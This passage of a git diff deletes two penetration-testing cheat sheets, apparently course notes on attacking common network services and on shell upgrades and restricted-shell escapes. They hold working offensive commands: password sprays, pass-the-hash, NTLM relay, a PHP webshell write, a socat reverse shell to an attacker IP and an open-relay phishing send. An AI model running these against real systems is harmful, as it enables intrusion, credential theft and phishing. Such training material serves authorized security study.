accounts. -> 4. **Unnecessary defaults** — sample files, admin/debug interfaces, verbose errors. -> Order: banner-grab → default creds → weak combos → full brute force. Audit tools: CIS-CAT, Lynis, testssl.sh. - -> [!info]+ Finding sensitive information — reuse everything -> The module's worked chain: anonymous FTP exposes an empty file named `johnsmith` → try `johnsmith:johnsmith` on FTP (fails) → **same creds on the mail service (succeeds)** → grep the mailbox for the literal string `password` → recover MSSQL creds → `xp_cmdshell` → RCE. Lesson: a *filename* is a candidate username/password. Try anonymous access broadly first (cheap, non-destructive), then reuse any string found against every other service before brute-forcing. - ---- - -## Evidence-first service triage - -Keep discovery, authentication, and exploitation separate. This makes the evidence easier to review and prevents a successful credential from being lost in noisy scan output. - -| Pass | Question | Capture | -|---|---|---| -| 1 · Identify | What protocol, product, version, and TLS identity answered? | Port, banner, certificate names, scan command | -| 2 · Enumerate | What is exposed without credentials? | Shares, databases, users, capabilities, screenshots | -| 3 · Authenticate | Which scoped credential works, and where? | Account, realm, service, time; keep the secret outside the note | -| 4 · Validate | What is the least-invasive proof of impact? | Read-only query/listing first; exact output and artifact hash | -| 5 · Feed forward | Does the result reveal another host, user, or credential? | Add it to the target/credential matrix and retest deliberately | - -```bash -# One evidence directory per host; tee only non-secret output -EVIDENCE="evidence/${IP}" -mkdir -p "$EVIDENCE" -sudo nmap -Pn -sV -sC -oA "$EVIDENCE/services" "$IP" -``` - -> [!warning]+ Credential handling -> Avoid passwords in command history and process lists. Prefer tool-supported prompts, protected credential files (`chmod 600`), or environment-specific secret storage; redact exported notes before sharing. - ---- - -## Interacting with services — quick reference - -```batch -:: SMB from Windows CMD -dir \\192.168.220.129\Finance\ -net use n: \\192.168.220.129\Finance /user:plaintext Password123 -:: Count files, then search names and contents. -dir n: /a-d /s /b | find /c ":\" -dir n:\*cred* /s /b -findstr /s /i cred n:\*.* -``` - -```powershell -# SMB from PowerShell (with creds) -$password = ConvertTo-SecureString 'Password123' -AsPlainText -Force -$cred = New-Object System.Management.Automation.PSCredential('plaintext', $password) -New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred -Get-ChildItem -Recurse -Path N:\ -Include *cred* -File -Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List -``` - -```bash -# SMB mount from Linux — prepare /tmp/smb.creds in an editor, then protect it -# File format: username=plaintext, password=<secret>, domain=. -chmod 600 /tmp/smb.creds -sudo mount -t cifs -o credentials=/tmp/smb.creds //192.168.220.129/Finance /mnt/Finance -find /mnt/Finance/ -iname '*cred*' -grep -rn /mnt/Finance/ -ie cred - -# SQL clients -sqsh -S $IP -U username -P Password123 # MSSQL, plaintext auth only -mysql -u username -pPassword123 -h $IP # MySQL -impacket-mssqlclient -port 1433 username@$IP # impacket → NTLM-hash / Kerberos auth -``` - -> [!note]+ Tooling notes -> Prefer `enum4linux-ng` over the legacy Perl `enum4linux`. Use current **NetExec** syntax (`nxc`) when older material says CrackMapExec. Use `impacket-mssqlclient` rather than `sqsh` when you only have an NTLM hash or need Kerberos. - ---- - -## FTP — TCP/21 - -```bash -# Enumerate (-sC runs ftp-anon; NSE flags a writable dir = webshell drop candidate) -sudo nmap -sC -sV -p21 $IP - -# Anonymous login -ftp $IP # Name: anonymous Password: <blank/arbitrary> -# ls / cd navigate · get/mget download · put/mput upload - -# Brute-force -medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h $IP -M ftp -hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://$IP - -# FTP Bounce — use the FTP server as a scan proxy to reach an internal host -nmap -Pn -v -n -p80 -b anonymous:password@172.17.0.2 172.17.0.2 -``` - -> [!bug]+ CVE-2022-22836 · CoreFTP arbitrary file write (dir traversal) -> The HTTP `PUT` handler doesn't normalise `../`; `--path-as-is` sends the raw traversal; Basic Auth required. -> ```bash -> curl -k -X PUT -H "Host: <IP>" --basic -u <user>:<pass> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops -> ``` -> General CVE lookup: `searchsploit <product> <version>` · `nuclei -t cves/ -u ftp://$IP` - ---- - -## SMB — TCP/445 (139 NetBIOS) - -```bash -# Enumerate — note smb2-security-mode: "signing not required" = NTLM-relay prereq -sudo nmap $IP -sV -sC -p139,445 - -# Null-session share enum (-N null auth) -smbclient -N -L //$IP -smbmap -H $IP -smbmap -H $IP -r notes -smbmap -H $IP --download "notes\note.txt" -smbmap -H $IP --upload test.txt "notes\test.txt" - -# RPC enum (% = null user+pass) and full enum -rpcclient -U'%' $IP # then: enumdomusers -./enum4linux-ng.py $IP -A -C -``` - -```bash -# Password spray (--local-auth = non-domain/local accounts; add --continue-on-success) -nxc smb $IP -u /tmp/userlist.txt -p 'Company01!' --local-auth -# output "(Pwn3d!)" = local admin on that host - -# Remote code execution -impacket-psexec administrator:'Password123!'@$IP # ADMIN$ + Service Control Manager -nxc smb $IP -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec -# impacket-smbexec = no writable share · impacket-atexec = Task Scheduler · nxc -x CMD / -X PowerShell - -# Loot: logged-on users + local SAM hashes -nxc smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users -nxc smb $IP -u administrator -p 'Password123!' --sam # + impacket-secretsdump for LSA/NTDS - -# Pass-the-Hash (-H NTLM) -nxc smb $IP -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE -``` - -> [!tip]+ Forced auth (Responder) → crack or relay -> ```bash -> sudo responder -I tun0 # capture NetNTLMv2 -> hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt # crack (5600 = NetNTLMv2) -> # Relay instead: first set SMB = Off in /etc/responder/Responder.conf, then: -> impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146 -> # add -c '<b64 PowerShell revshell>' to execute instead of the default SAM dump -> ``` -> **CVE-2020-0796 (SMBGhost)** — SMBv3.1.1 compression integer overflow, Win10 1903/1909; conceptual in-module, Metasploit for labs. - ---- - -## SQL Databases — MSSQL 1433 · MySQL 3306 - -```bash -nmap -Pn -sV -sC -p1433,3306 $IP - -mysql -u julio -pPassword123 -h $IP -sqsh -S $IP -U .\\julio -P 'MyPassword!' -h # .\ prefix forces a LOCAL SQL account; -h no headers -impacket-mssqlclient -port 1433 julio@$IP # impacket -``` - -```sql --- Enumerate (MSSQL, GO terminates each batch) -SELECT name FROM master.dbo.sysdatabases -GO --- Enumerate (MySQL) -SHOW DATABASES; USE htbusers; SHOW TABLES; SELECT * FROM users; -``` - -**MSSQL → RCE with `xp_cmdshell`:** -```sql -xp_cmdshell 'whoami' -GO --- if disabled (needs sysadmin): -EXECUTE sp_configure 'show advanced options', 1 -RECONFIGURE -EXECUTE sp_configure 'xp_cmdshell', 1 -RECONFIGURE -GO -``` - -**MySQL file read/write** (needs `FILE` priv + empty `secure_file_priv`): -```sql -SHOW VARIABLES LIKE "secure_file_priv"; -SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'; -SELECT LOAD_FILE("/etc/passwd"); -``` - -**MSSQL file read** (service-account perms, no special config): -```sql -SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents -GO -``` - -**MSSQL privesc — `IMPERSONATE`:** -```sql -EXECUTE AS LOGIN = 'sa' -SELECT SYSTEM_USER -SELECT IS_SRVROLEMEMBER('sysadmin') -GO -- run from master; REVERT to switch back -``` - -**MSSQL linked-server pivot:** -```sql -SELECT srvname, isremote FROM sysservers -GO -EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS] -GO -- double single-quotes escape; chain with ; -``` - -> [!tip]+ Steal NetNTLMv2 with `xp_dirtree` -> ```bash -> sudo impacket-smbserver share ./ -smb2support # or: sudo responder -I tun0 -> ``` -> ```sql -> EXEC master..xp_dirtree '\\10.10.110.17\share\' -> GO -- xp_subdirs may say access-denied yet still capture the hash -> ``` -> Legacy: **CVE-2012-2122** — MySQL 5.6.x timing auth bypass (unpatched-only). - ---- - -## RDP — TCP/3389 - -```bash -nmap -Pn -p3389 $IP # ms-wbt-server - -# Password spray (hydra rdp module is experimental → -t 1..4, -W 1..3) -crowbar -b rdp -s $IP/32 -U users.txt -c 'password123' -hydra -L usernames.txt -p 'password123' $IP rdp - -# Login -rdesktop -u admin -p password123 $IP -xfreerdp /v:$IP /u:<user> /p:<password> -``` - -```batch -:: Session hijack — needs SYSTEM (service runs as Local System). Does NOT work on Server 2019+. -query user -sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13" -net start sessionhijack -``` - -```batch -:: Pass-the-Hash via Restricted Admin Mode (enable it first — needs prior local admin) -reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f -``` -```bash -xfreerdp /v:$IP /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9 -``` - -> [!warning]+ CVE-2019-0708 (BlueKeep) -> Unauthenticated use-after-free in the RDP virtual-channel exchange → RCE as LocalSystem. **Can BSOD the target — client sign-off required.** Metasploit: `rdp_scanner` to check, `cve_2019_0708_bluekeep_rce` to exploit. - ---- - -## DNS — UDP/53 (TCP/53 for zone transfers) - -```bash -nmap -p53 -Pn -sV -sC $IP - -# Zone transfer (AXFR) — leaks the entire internal namespace if misconfigured -dig AXFR @ns1.inlanefreight.htb inlanefreight.htb -fierce --domain zonetransfer.me - -# Subdomain enumeration (passive first, then brute) → subdomain takeover -./subfinder -d inlanefreight.com -v -host support.inlanefreight.com -# CNAME → inlanefreight.s3.amazonaws.com; "NoSuchBucket" = dangling CNAME -# → register the S3 bucket "inlanefreight" to take over the subdomain -# scale check: nuclei -t subdomain-takeover ; repo: can-i-take-over-xyz -``` - -> [!info]+ Local DNS spoofing (Ettercap/Bettercap — requires L2 MITM) -> Edit `/etc/ettercap/etter.dns` → `inlanefreight.com A 192.168.225.110` (and `*.inlanefreight.com`), ARP-spoof victim↔gateway, enable the `dns_spoof` plugin. Bettercap is the modern successor. - ---- - -## Email Services — SMTP 25 · POP3 110 · IMAP 143 (+ TLS 465/587/993/995) - -```bash -# MX + provider recon (O365 = *.mail.protection.outlook.com, G-Suite = aspmx.l.google.com) -host -t MX hackthebox.eu -dig mx inlanefreight.com | grep "MX" | grep -v ";" -sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 $IP -``` - -**Manual user enumeration (telnet):** -```text -# SMTP (port 25) # POP3 (port 110) -VRFY root → 252 valid / 550 invalid USER john → +OK valid / -ERR invalid -EXPN john → expands distribution lists -MAIL FROM:john@inlanefreight.htb -RCPT TO:john → 250 valid / 550 unknown -``` - -```bash -# Automated SMTP enum -smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t $IP -# -M VRFY|EXPN|RCPT (also: msf auxiliary/scanner/smtp/smtp_enum) - -# Office 365 — Hydra is throttled by MS; use o365spray / MailSniper -python3 o365spray.py --validate --domain msplaintext.xyz -python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz -python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz - -# Self-hosted spray (swap pop3 for smtp / imap; -f stop on first hit) -hydra -L users.txt -p 'Company01!' -f $IP pop3 - -# Open relay → phishing -nmap -p25 -Pn --script smtp-open-relay $IP -swaks --from admin@company.com --to john@company.com --header 'Subject: Company Notification' --body 'http://mycustomphishinglink/' --server $IP -``` - -> [!bug]+ CVE-2020-7247 · OpenSMTPD unauthenticated RCE -> A `;` in the sender-address field breaks parsing → command execution **as root** (mail daemon on a standardised port runs as root). PoC is a ≤64-char shell command in the sender field (Exploit-DB). - ---- - -## CVE quick index - -| CVE / Name | Service | Nature | Exploit | -|---|---|---|---| -| CVE-2021-44228 (Log4j) | any (concept) | JNDI header injection → RCE | model only | -| CVE-2022-22836 (CoreFTP) | FTP | HTTP PUT dir-traversal file write | `curl` one-liner above | -| CVE-2020-0796 (SMBGhost) | SMB | SMBv3.1.1 compression overflow | Metasploit (lab) | -| CVE-2012-2122 | MySQL 5.6.x | timing auth bypass | version-gated | -| CVE-2019-0708 (BlueKeep) | RDP | unauth UAF → RCE (BSOD risk) | `...bluekeep_rce` | -| CVE-2020-7247 (OpenSMTPD) | SMTP | sender `;` → root RCE | Exploit-DB PoC | - -## Port reference - -| Service | Port(s) | -|---|---| -| FTP | 21 | -| SMB | 445, 139 (UDP 137-138) | -| MSSQL | 1433 (UDP 1434, hidden 2433) | -| MySQL | 3306 | -| RDP | 3389 | -| DNS | 53 (TCP for AXFR) | -| Email | 25 · 110 · 143 · 465 · 587 · 993 · 995 | - ---- - -## Lessons Learned - -1. **Misconfig before CVE.** Anonymous auth, default creds, and over-privileged accounts land more services than any memory-corruption bug — walk the four-category checklist first. -2. **Reuse every string.** A filename, a username in a share, a password in a mailbox — try it against *every* other service before you brute-force. That's the module's whole worked chain. -3. **Spray, don't brute, on AD.** One password across all users with lockout awareness; a full wordlist per account locks out the domain and burns the engagement. -4. **SQL is a file-system and a network pivot**, not just data — `xp_cmdshell`, `INTO OUTFILE`, `OPENROWSET`, `xp_dirtree` hash steal, and linked-server hops all start from a DB login. -5. **Some exploits break things.** BlueKeep BSODs, relays and sprays touch availability — least-invasive-first, and get explicit sign-off for the loud ones. - -## References - -1. [HTB Academy — Attacking Common Services](https://academy.hackthebox.com/module/details/116) -2. [Impacket](https://github.com/fortra/impacket) · [NetExec](https://github.com/Pennyw0rth/NetExec) -3. [NetExec Wiki — selecting and using protocols](https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol) -4. [OWASP A05:2021 — Security Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration/) -5. [can-i-take-over-xyz — subdomain takeover matrix](https://github.com/EdOverflow/can-i-take-over-xyz) diff --git a/src/content/sheets/exploitation/tty-upgrades-and-restricted-shells.md b/src/content/sheets/exploitation/tty-upgrades-and-restricted-shells.md @@ -1,811 +0,0 @@ ---- -title: "TTY Upgrades & Restricted Shells (CPTS)" -description: "Upgrading dumb shells to full TTYs and escaping restricted shells — python pty, script, stty, socat, rlwrap, pwncat and ConPtyShell." -category: exploitation -tags: ["exploitation", "privilege-escalation"] -tools: ["Metasploit", "Meterpreter", "Evil-WinRM", "socat", "PowerShell"] -difficulty: intermediate -updated: "2026-08-28" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/06 - TTY Upgrades and Restricted Shells - CPTS Cheat Sheet.md" ---- -# TTY Upgrades & Restricted Shells — CPTS Cheat Sheet - -## Summary - -A raw reverse shell carries bytes, but it usually has no controlling terminal, job control, terminal geometry, or reliable signal handling. The upgrade has two distinct parts: **allocate a PTY on the target**, then **place the local terminal in raw mode and foreground the connection**. Commands such as `/bin/bash -i` improve the prompt but do not allocate a PTY by themselves. - -> [!danger]+ Authorized-use boundary -> -> 1. Use these procedures only on systems you own or are explicitly authorized to test. -> 2. A TTY upgrade changes session behavior but not privileges. Treat a restricted-shell escape and privilege escalation as separate findings. -> 3. Do not wipe history or logs. Record staged binaries/scripts and remove only assessment artifacts during cleanup. -> 4. Capture your local terminal state before `stty raw -echo` so a dropped connection does not leave the terminal unusable. - -## Terms that matter - -| Term | Meaning | What it gives you | -|---|---|---| -| Shell | Command interpreter such as `sh`, `bash`, `cmd.exe` or PowerShell | Executes commands | -| Interactive shell | Reads commands from a user and may provide history/readline | Better prompt; still may lack a terminal | -| PTY | Pseudo-terminal master/slave pair | Terminal semantics for a child process | -| Controlling TTY | Terminal associated with a session/process group | Job control and signals | -| Raw mode | Local terminal passes keystrokes without local line processing/echo | Lets the remote PTY handle Ctrl+C, arrows and editing | -| `TERM` | Terminal capability name | Tells full-screen programs how to render | -| Geometry | Rows and columns | Prevents wrapping and broken ncurses displays | - -```mermaid -%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% -flowchart LR - A["Raw shell"] --> B{"tty?"} - B -->|"not a tty"| C{"PTY allocator present?"} - C -->|"python / script"| D["Spawn PTY"] - C -->|"socat"| E["Start PTY-backed socat shell"] - C -->|"none"| F["Interactive shell only\nor transfer a reviewed tool"] - D --> G["Ctrl+Z"] - G --> H["Local raw mode + fg"] - H --> I["reset · TERM · rows/cols"] - E --> I - F --> J["Limited shell\nno reliable job control"] - I --> K["Verify tty + signals"] -``` - ---- - -## 0 · Gold-path upgrade card - -Use this sequence for a netcat-style Linux reverse shell. - -### Target — allocate a PTY - -```bash -python3 -c 'import pty; pty.spawn("/bin/bash")' -``` - -If Python is unavailable: - -```bash -script -qc /bin/bash /dev/null -``` - -Press **Ctrl+Z** to suspend the connection and return to the local shell. - -### Attacker — save terminal state, enter raw mode, foreground - -```bash -OLD_STTY=$(stty -g) - -if read -r LOCAL_ROWS LOCAL_COLS < <(stty size </dev/tty 2>/dev/null); then - LOCAL_TERM=${TERM:-xterm} - printf "Paste remotely after fg:\nexport TERM='%s'\nstty rows %s cols %s\n" \ - "$LOCAL_TERM" "$LOCAL_ROWS" "$LOCAL_COLS" -else - printf 'No controlling local TTY—do not enable raw mode yet.\n' >&2 -fi -``` - -Only after the generator prints populated rows and columns: - -```bash -stty raw -echo; fg -``` - -> [!important]+ The semicolon matters -> Run `stty raw -echo; fg` as one line. This is especially important under zsh. After `fg`, press Enter once or twice if the prompt is not redrawn. - -### Target — initialize the terminal - -```bash -export SHELL=/bin/bash -# Paste the two exact export/stty lines printed by the attacker terminal. -reset -``` - -The generator reads the dimensions of the **current attacker TTY**, so it does not guess `80` columns. Its output will look like this, with values matching the terminal or tmux pane in front of you: - -```bash -export TERM='xterm-256color' -stty rows 43 cols 172 -``` - -### Verify - -```bash -tty -stty -a -ps -o pid,ppid,sid,tty,stat,comm -p $$ -``` - -Expected: `tty` returns a `/dev/pts/...` path, the process has a TTY, arrow keys work, and Ctrl+C interrupts the foreground command without killing the connection. - -### Restore the attacker terminal after exit or failure - -```bash -stty "$OLD_STTY" -reset -``` - -If the variable is unavailable, type this blindly and press Enter: - -```bash -stty sane -reset -``` - ---- - -## 1 · Diagnose the shell before changing it - -### Target checks - -```bash -tty -printf 'shell=%s argv0=%s term=%s\n' "$SHELL" "$0" "$TERM" -ps -o pid,ppid,sid,tty,stat,comm -p $$ - -for fd in 0 1 2; do - if test -t "$fd"; then - printf 'fd %s is a tty\n' "$fd" - else - printf 'fd %s is not a tty\n' "$fd" - fi -done - -readlink /proc/$$/fd/0 2>/dev/null -``` - -### Capability checklist - -| Test | Healthy interactive result | Raw-shell symptom | -|---|---|---| -| `tty` | `/dev/pts/N` | `not a tty` | -| `test -t 0` | success | failure | -| Ctrl+C on `sleep 30` | interrupts `sleep` only | kills/freezes the session | -| Arrow keys | edit history | print `^[[A` | -| `su - user` / `ssh host` | prompts normally | no prompt, hangs or exits | -| `vim` / `top` | renders correctly | corrupted screen | -| `stty size` | real rows/columns | ioctl error or `0 0` | - -> [!note]+ Do not confuse shell quality with policy -> A working PTY does not bypass PAM, sudo policy, AppArmor, SELinux, application control, or a restricted login shell. It only provides the terminal behavior those tools expect. - ---- - -## 2 · PTY allocators and fallback shells - -### What actually allocates a PTY? - -| Method | Allocates PTY? | Notes | -|---|---:|---| -| Python `pty.spawn` | Yes | Most common Unix fallback | -| util-linux `script` | Yes | Often installed when Python is absent | -| socat `pty` option | Yes | Best signal/session handling when available | -| Expect `spawn ...; interact` | Yes | Useful on appliances with Expect | -| SSH `-t` / `-tt` | Yes | Server policy still applies | -| `bash -i`, Perl/Ruby `exec`, awk `system` | No | Interactive process only; still useful as a fallback | -| `rlwrap nc` | No | Local readline wrapper, not a remote PTY | - -### Python - -```bash -python3 -c 'import pty; pty.spawn("/bin/bash")' -python -c 'import pty; pty.spawn("/bin/bash")' -``` - -If Bash is unavailable: - -```bash -python3 -c 'import pty; pty.spawn("/bin/sh")' -``` - -### util-linux `script` - -```bash -script -qc /bin/bash /dev/null -``` - -Alternative accepted by some util-linux builds: - -```bash -script -c /bin/bash /dev/null -``` - -The output file is `/dev/null` so the command does not leave a terminal transcript on the target. - -### Expect - -```bash -expect -c 'spawn /bin/bash; interact' -``` - -### Socat — full PTY connection - -Attacker: - -```bash -socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr -``` - -Target: - -```bash -socat TCP:10.10.14.2:4444 EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane -``` - -> [!warning]+ Staging a static binary -> Transfer only a reviewed binary appropriate for the target architecture and engagement. Record its hash and destination, use a scoped writable directory, and remove it when finished. - -### Interactive-only fallbacks — not a PTY - -```bash -/bin/bash -i -/bin/sh -i -perl -e 'exec "/bin/bash";' -ruby -e 'exec "/bin/bash"' -awk 'BEGIN {system("/bin/bash")}' -env /bin/bash -i -``` - -These may improve command parsing or prompt behavior, but `tty` will still report `not a tty`. Continue with a real PTY allocator when possible. - ---- - -## 3 · Listener choices - -### Netcat - -```bash -nc -lvnp 4444 -``` - -Netcat is simple and widely available, but it does not allocate a PTY. - -### rlwrap + netcat - -```bash -rlwrap -r -f . nc -lvnp 4444 -``` - -`rlwrap` adds local history and line editing. It does not fix remote job control, terminal sizing, `su` or `ssh` prompts. - -### Ncat with TLS - -```bash -ncat --ssl -lvnp 4444 -``` - -The connecting side must also speak Ncat TLS. Encryption does not add PTY behavior. - -### Socat - -```bash -socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr -``` - -### pwncat-cs - -```bash -pwncat-cs -lp 4444 -``` - -Use automation only after confirming it is permitted by the engagement and compatible with the target. Record any files, persistence or enumeration actions a framework performs. - -### Metasploit handler - -```text -use exploit/multi/handler -set PAYLOAD linux/x64/shell_reverse_tcp -set LHOST 10.10.14.2 -set LPORT 4444 -run -``` - -A handler catches the payload; shell quality still depends on the session type and subsequent PTY allocation. - ---- - -## 4 · Terminal geometry, TERM and locale - -### What are you actually copying? - -| Value | What it means | How to discover it locally | -|---|---|---| -| Rows / columns | Current kernel-reported size of the terminal or tmux pane | `stty size </dev/tty` | -| `TERM` | A terminal **capability/terminfo name** used by programs such as `vim`, `less` and `top` | `printf '%s\n' "$TERM"` | -| Terminal emulator | The graphical program, such as Ghostty, Kitty, Alacritty or Foot | Environment and process-tree checks below | - -`TERM` is not necessarily the emulator's product name. Inside tmux it is commonly `tmux-256color` or `screen-256color`, even when the visible emulator is Ghostty or Kitty. For the remote session, correct geometry and a `TERM` entry installed on the target matter more than the emulator brand. - -### Discover the exact local values - -```bash -printf 'TTY=%s\n' "$(tty)" -printf 'TERM=%s\n' "${TERM:-unset}" -stty size </dev/tty -stty -a </dev/tty | sed -n '1p' -tput lines -tput cols -``` - -`stty size` prints `ROWS COLS`. Run it from the attacker terminal that owns the listener—not through the remote shell. If the listener is inside tmux, it correctly reports the current pane size. - -To identify the visible emulator as well: - -```bash -printf 'TERM_PROGRAM=%s\n' "${TERM_PROGRAM:-unset}" -printf 'TERMINAL=%s\n' "${TERMINAL:-unset}" -ps -o pid,ppid,tty,comm -p $$ -p $PPID -pstree -s $$ -``` - -Environment hints are not universal, and tmux/SSH may sit between the shell and emulator. Do not invent a `TERM` value from the application name; use the current `$TERM`, then test whether the target has its terminfo entry. - -### Generate the exact remote commands - -Run this locally after suspending the connection with Ctrl+Z and **before** enabling raw mode: - -```bash -if read -r LOCAL_ROWS LOCAL_COLS < <(stty size </dev/tty 2>/dev/null); then - LOCAL_TERM=${TERM:-xterm} - printf "export TERM='%s'\nstty rows %s cols %s\n" \ - "$LOCAL_TERM" "$LOCAL_ROWS" "$LOCAL_COLS" -else - printf 'No controlling local TTY; run this from the listener terminal.\n' >&2 -fi -``` - -Copy the two printed lines to the target after `fg`. A compact Bash/zsh version is: - -```bash -read -r TTY_ROWS TTY_COLS < <(stty size </dev/tty) && printf "export TERM='%s'; stty rows %s cols %s\n" "${TERM:-xterm}" "$TTY_ROWS" "$TTY_COLS" -``` - -> [!warning]+ Why not always use 80 columns? -> `80` is a historical default, not a measurement. A guessed size causes early wrapping, misplaced prompts and broken full-screen programs. Capture the current size again whenever the local window or tmux pane changes. - -### tmux and multiplexer panes - -```bash -# stty already reports the active pane's PTY size. -stty size </dev/tty - -# Cross-check using tmux's own pane values. -tmux display-message -p '#{pane_height} #{pane_width}' - -# See the capability name exposed inside the pane. -printf 'TERM=%s\n' "$TERM" -``` - -If the local value is `tmux-256color`, `screen-256color` or an emulator-specific name such as `xterm-kitty`, the target may not have matching terminfo data. That is a compatibility issue, not a geometry issue. - -### Apply and validate on the target - -```bash -# Example only—paste the values produced by your local generator. -export TERM='xterm-256color' -stty rows 43 cols 172 - -printf 'TERM=%s\n' "$TERM" -stty size -tput lines -tput cols -``` - -If applications report an unknown terminal or render badly, select the first compatible terminfo entry available on the target: - -```bash -if command -v infocmp >/dev/null 2>&1; then - for CANDIDATE_TERM in "$TERM" xterm-256color xterm vt100; do - if infocmp "$CANDIDATE_TERM" >/dev/null 2>&1; then - export TERM="$CANDIDATE_TERM" - break - fi - done -else - export TERM=xterm -fi - -printf 'Using TERM=%s\n' "$TERM" -``` - -Optional locale repair for broken characters: - -```bash -locale -export LC_ALL=C -``` - -Use `LC_ALL=C` only when needed; it changes sorting, messages and character handling for the session. - -### Resize later - -The remote PTY does not normally receive local `SIGWINCH` resize events through a simple netcat chain. Re-run the local generator, then paste its new `stty rows ... cols ...` command remotely. Socat, SSH, tmux and terminal-aware frameworks may propagate resizing automatically; verify with `stty size` rather than assuming they did. - ---- - -## 5 · Signal and job-control verification - -```bash -sleep 30 -``` - -Press Ctrl+C. The `sleep` process should stop while the shell survives. - -```bash -sleep 30 & -jobs -fg %1 -``` - -Press Ctrl+Z, then check: - -```bash -jobs -bg %1 -fg %1 -``` - -> [!warning]+ Test with disposable commands -> Do not test signal handling against a database client, package manager, file editor or exploit process that could be left half-written. - ---- - -## 6 · SSH-native terminal allocation and escapes - -If valid SSH access exists, prefer SSH’s native PTY allocation over stabilizing netcat. - -```bash -ssh -t user@target -ssh -tt user@target 'bash --noprofile --norc -i' -``` - -A second `-t` forces allocation even when the local client has no TTY. - -### OpenSSH escape sequences - -Escapes are recognized only after a newline and only when a PTY was requested. - -```text -Enter, then ~? show escape help -Enter, then ~. disconnect -Enter, then ~^Z suspend the local ssh client -Enter, then ~# list forwarded connections -Enter, then ~C open the forwarding command line -``` - -At the `~C` prompt: - -```text --L 8080:127.0.0.1:80 --D 1080 --KL 8080 -``` - -> [!note]+ Shell restrictions still apply -> `ssh -tt ... bash` works only if `sshd` permits the command and the account is not constrained by `ForceCommand`, a restricted shell, a container/jail, or another policy. - ---- - -## 7 · Meterpreter and framework sessions - -### Meterpreter to operating-system shell - -```text -meterpreter > shell -``` - -Then on a Unix target: - -```bash -python3 -c 'import pty; pty.spawn("/bin/bash")' -``` - -### Basic shell to Meterpreter - -From msfconsole: - -```text -sessions -sessions -u <SESSION_ID> -``` - -Or: - -```text -use post/multi/manage/shell_to_meterpreter -set SESSION <SESSION_ID> -run -``` - -An upgrade changes the session transport/features; it does not guarantee a PTY inside a subsequent `shell` channel. - ---- - -## 8 · Restricted-shell identification and escape - -Restricted shells are policy boundaries, not bad TTYs. Identify the restriction before trying available escape-capable programs. - -### Identify the shell and allowed surface - -```bash -printf 'SHELL=%s argv0=%s flags=%s\n' "$SHELL" "$0" "$-" -getent passwd "$(id -un)" 2>/dev/null -echo "$PATH" -type -a sh bash python3 python perl ruby vi vim less man awk find 2>/dev/null -compgen -c 2>/dev/null | sort -u -``` - -Common indicators: - -| Shell | Typical behavior | -|---|---| -| `rbash` | Blocks `cd`, slashes in command names, PATH changes, `exec` and output redirection | -| `rksh` / restricted ksh | Similar path, directory and redirection restrictions | -| `rzsh` | zsh restricted option; path/command limitations | -| `lshell` | Allow/deny lists and explicit “forbidden command” messages | -| `rssh` / `git-shell` | Purpose-built command set rather than a normal interactive shell | -| container/chroot | Normal shell syntax but filesystem/process/network boundaries remain | - -### Rank escape candidates - -1. Interpreters already on the allowed PATH. -2. Editors and pagers with shell commands. -3. An SSH forced command or native PTY. -4. Environment-controlled helpers such as `PAGER`, `VISUAL` or `SHELL`. -5. A permitted shell script or command that invokes another program. - -### Interpreters - -```bash -python3 -c 'import os; os.execl("/bin/bash", "bash", "-i")' -perl -e 'exec "/bin/bash";' -ruby -e 'exec "/bin/bash"' -lua -e 'os.execute("/bin/bash")' -php -r 'system("/bin/bash");' -awk 'BEGIN {system("/bin/bash")}' -``` - -If slashes are rejected but the binary is on PATH, try `bash` rather than `/bin/bash`. - -### Editors and pagers - -Vim: - -```vim -:set shell=/bin/bash -:shell -``` - -Alternative Vim command: - -```vim -:!/bin/bash -``` - -Less or man: - -```text -!/bin/bash -``` - -Nano, when Execute Command is enabled: - -```text -Ctrl+R -Ctrl+X -/bin/bash -``` - -### Common command helpers - -```bash -find . -exec /bin/bash \; -quit -env /bin/bash -i -gdb -nx -ex '!bash' -ex quit -``` - -### rbash-specific observations - -GNU Bash applies restricted-mode checks after startup files are read, and shell scripts found as commands may execute in a non-restricted Bash process. Whether that is usable depends on PATH, file permissions and the surrounding jail. - -```bash -BASH_CMDS[a]=/bin/bash -a -``` - -If a permitted editor or upload route can place a reviewed script in an executable PATH directory: - -```bash -allowed-script.sh -``` - -### SSH from outside the restriction - -```bash -ssh -tt user@target 'bash --noprofile --norc -i' -``` - -### Verify the escape - -```bash -printf 'argv0=%s flags=%s shell=%s\n' "$0" "$-" "$SHELL" -cd / -printf 'redirect-test\n' > /tmp/tty-escape-check -rm -f /tmp/tty-escape-check -``` - -> [!warning]+ Escape does not mean host escape -> 